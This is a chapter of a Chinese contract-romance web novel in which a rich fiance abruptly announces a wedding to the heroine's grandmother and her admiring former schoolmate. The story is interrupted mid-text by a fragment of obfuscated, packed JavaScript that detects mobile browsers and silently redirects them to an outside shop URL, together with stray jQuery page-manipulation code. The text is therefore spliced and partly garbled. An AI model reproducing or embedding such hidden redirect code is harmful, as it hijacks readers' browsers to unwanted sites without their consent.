“嗯,呃……”徐枝春一边思考措辞,一边不住地朝后推,直到胳膊碰到窗边的不锈钢栏杆,这才有了一些底气。
她轻咳两声,手背到身后,故意粗着嗓子说话:“怎么啦?我不是跟你说过有事吗?”
“你这人心眼真是一点点小,但凡听到学长的名字就吃醋,哪敢告诉你啊。”
“还没结婚就这么爱喝醋,看来我得好好考虑领证的事情了。”
徐枝春一秒支棱起来,语气变得理直气壮,手在他胸前戳了好几下。
唔,手感不错。
“对啊,所以我来了。”沈言章似乎被她说服了,轻点了两下脑袋,挽起她的胳膊就往外走。
“欸欸欸,等会等会。”
徐枝春像是只被叼住后颈的猫,顺着他的力气就朝外走:“你别激动啊,现在是法治社会,不许动手啊,学长是我请来的客人……”
顾女士看见两个年轻人拉拉扯扯出来,心里大概有数了。
眼见祝陶脸色不大好,她连忙招呼对方坐下:“小祝啊,我们枝枝年纪小,在M国也没什么认识的人,你费心了。”
“奶奶这里也没什么好东西,之前听枝枝说你喜欢吃拌饭酱,今年特地多做了几罐。”
“您太客气了。”祝陶余光瞄着徐枝春,手上还在推脱。
顾女士几乎是拿出了过年塞红包的气势,拿着玻璃罐子就往他手里放。
“你这孩子,又不是什么值钱的东西。”
“拿着。”
“再不拿,就是不给奶奶面子了嗷。”她眼神慈爱,说出的话却很是霸道,活脱脱一个老顽童,祝陶不得不接下了老人家的回礼。
“谢谢奶奶。”
“欸,常来玩啊。”顾女士嘴上客气,心里却有些犯嘀咕。
徐枝枝这个死丫头,她还记得华国是一夫一妻制吗?
两个男娃娃都跑家里来了,这是故意折磨她啊,可怜她一把老骨头还要管这种事情。
“外婆。”徐枝春的手被沈言章攥地紧紧的,有些不自然,想要挣开也没法,只能拧了他几下。
“大哥你要干嘛啊?”
她嘴角轻启,用气音威胁沈言章,担心他耳朵不好,特意晃了晃两人交握的双手。
沈言章却没理会她的挣扎,直接给在场几位抛下了一个手榴弹。
“外婆,今天晚辈不请自来,是想邀请您参加婚礼。”
“啪嗒——”祝陶手一个没拿稳,装着拌饭酱的罐子咕咕噜噜滚到了徐枝春的脚下。
她却没有心情理会这点小事了,脑海里面闪过一串问号。
谁结婚啊?
——一定是成、沈两家联姻的事情。
不,不对,联姻这种事情喊外婆干什么?她年纪大了腿脚不方便,何必让她跑一趟。
顾女士显然也很震惊,眼神在祝陶和沈言章脸上来回晃悠。
这里有两个小伙,谁和谁的婚礼啊?
反倒是祝陶率先开口:“什么婚礼?”
他扫了眼徐枝春微微张开的嘴,知道对方也不了解之后,心里那块石头放下了一些。
“当然是——”沈言章看了眼徐枝春,嘴角的弧度再也按不住,直接把对方搂进怀里。
“我和枝枝的婚礼。”
“什么?”徐枝春舌尖抵着牙关,听了这话,差点咬到自己的舌头。
不是吧大哥,这种大话你是张口就来啊?契约开始还没几天呢,上哪找婚礼场地啊。
哦不对,凭沈言章的家境,什么场地、婚礼策划师还不是他一句话的事情。
“什么时候啊?”她又往沈言章怀里钻了一点,试图在他耳边讲小话,可惜身高差略大,沈言章低头后她才顺利接上了下半句,“我本人都不知道欸。”
“你不想给自己工作室的婚纱宣传宣传?”
沈言章在她耳畔留下这么一句,如愿见到了对方亮起的双眼,脸上的笑容更加真切了。
“倒是从来没有听枝春提起过。”祝陶可能是起得太早,只觉得眼睛有些酸涩,他强忍情绪,看向徐枝春,“恭喜。”
徐枝春没想到沈言章会突然公开婚礼这件事。
祝陶对她有好感,回国这几天她的确是察觉到了一些苗头。可对方没有表白,她也不能因为自己的胡乱猜测就故意疏远。
毕竟他们是那么要好的朋友,如果不是她的缘故,祝陶回国后完全可以好好休息,没必要来工作室帮她的。
“学长,今天可能没法好好招待你了,我先送你下去吧。”
她摇了摇沈言章的衣摆,示意他不要再说了。
再说下去,他会很难堪。
祝陶只是沉寂了一小会,很快应了下来:“好。”
“走了,外婆。”
“好,你们慢点走啊。”
明明还是等电梯,走时的气氛却和来时完全不一样了。
——太静了。
徐枝春有些不习惯,她几乎是迫切地,想要逼迫自己说些什么,来挽回这段友情。
可是一开口就词穷了:“祝陶——”
她指节缓缓弯起,似乎想要握住什么。
“是我的心态没调节好。”出乎她预料的是,安慰她的依旧是祝陶。
“是我,是我的问题……”
徐枝春张了张口,想说自己也不知道婚礼的事情,又怕自己把事情搞得更加复杂。
眼泪大颗大颗往下掉,祝陶拿纸巾的工夫,她的眼前已然朦胧了。
“不许哭。”对方故作严肃,“要是让老师知道了他的得意门生哭了,不得把我剥皮抽筋。”
“怎么可能?”徐枝春吸了吸鼻子,眼睫扑闪扑闪的,闷声道,“顶多就把你挂在十字架上。”
小老头信耶稣,对华国历史不大精通,不知道五马分尸的故事。
“喂,徐枝春你是人啊?”
祝陶故意倒吸一口凉气:“你还真敢想啊!”
两人相互对视一眼,又笑了起来。
“我只问你一句话,喜欢他吗?”祝陶这话问得认真。
这个问题也是沈言章从来没问过的事情,不知道是不想问,还是不敢问。
“喜欢。”
不是因为沈言章来早一步,是因为他是沈言章。
“嗯,知道了。”这回闷闷不乐的变成了祝陶。
徐枝春见他抬眼向上看,心里也酸酸的。这是她出国后认识的第一个朋友,不希望因为这件事情分道扬镳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972948|212618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>可她没有权力要求对方延续友情,这样太自私了。
“你是下个月回国吗?”她只是试探性地问了这么一句。
“抱一下吧。”祝陶主动张开双臂。
他有点难过,所以抱一下吧。
不是没看见楼上沈言章虎视眈眈的眼神,可他们还有一辈子的时间,祝陶只偷走一个拥抱就好。
他努力让自己的声音听起来很正常:“难得回国,遇上我师妹婚礼,那么急着回去干嘛。”
“办婚礼是大事。”
祝陶抬头,看着沈言章投过来的目光,毫不畏惧地看了回去。
“我当然要留下来当娘家人。”
*
“怎么去了那么久——”
“他是不是表白了,是不是想插足?”
自从她回来之后,沈言章已经絮絮叨叨半天了,徐枝春都没理他。
净琢磨这些没用的,等会被顾女士拷问就老实了。
“小沈呐,认识这么久了也没问你对象的事情,想不到这么巧。”
顾女士一拍大腿:“家里是做什么的啊?”
“五险一金是不是都有啊?”
徐枝春嘴角噙着一抹笑,打算看看沈言章怎么应付顾女士。
“外婆您放心,我家里是做生意的,有些积蓄。我名下有几套房子,婚前会过户给枝枝的。”
“这怎么行?她又没帮你挣钱,白拿你的东西啊!”
顾女士听得直皱眉:“我们枝枝不用,立个婚前协议就行了。”
徐枝春:糟了,忘记顾女士是个眼里容不下沙子的。
“外婆。”她眨了眨眼,准备主动交代“罪行”,以求宽大处理,“其实这个房子我……”
“枝枝很厉害,凭本事给外婆买下了房子。”沈言章突然打断她,“饭菜都要凉了,先吃饭吧。”
“对对对,先吃饭吧,先吃饭。”
吃完饭,徐枝春干脆和沈言章一起去了趟超市,买点结婚之后的口粮。
“你刚刚怎么不让我说实话?”
沈言章推着购物车,轮子被地面上的瓷砖磕得一绊一绊的,好几次都是徐枝春握住了车把。
“这什么破车啊,下次换个超市。”
“行。”
“外婆不想你收下我的东西,是不想你在婚姻里低人一等。”他把手搭在购物车上面,“她说话硬气,是因为她是你唯一的家人了。”
“外婆很爱你。”
“我当然知道。”徐枝春抿唇,把沈言章挤到一旁,自己独占购物车。
她原本也没打算说合约的事情,外婆本本分分活了一辈子,没必要为了小辈的事情伤神。
只是……
“不过我花的也是血汗钱啊,你以为合约女友这么好当啊?”
沈言章是完全不知道自己有多难搞吗?
傲娇又毒舌,这货是真的会喷毒液啊!
徐枝春越想越不服气:“所以我很同情沈总的助理,毕竟你真的很难搞。”
“没有吧。”
还反驳她?徐枝春气得想要打道回府:“不买了。”
男人却突然凑近,像是故意勾她。
“难不难搞,不得试试才知道吗?”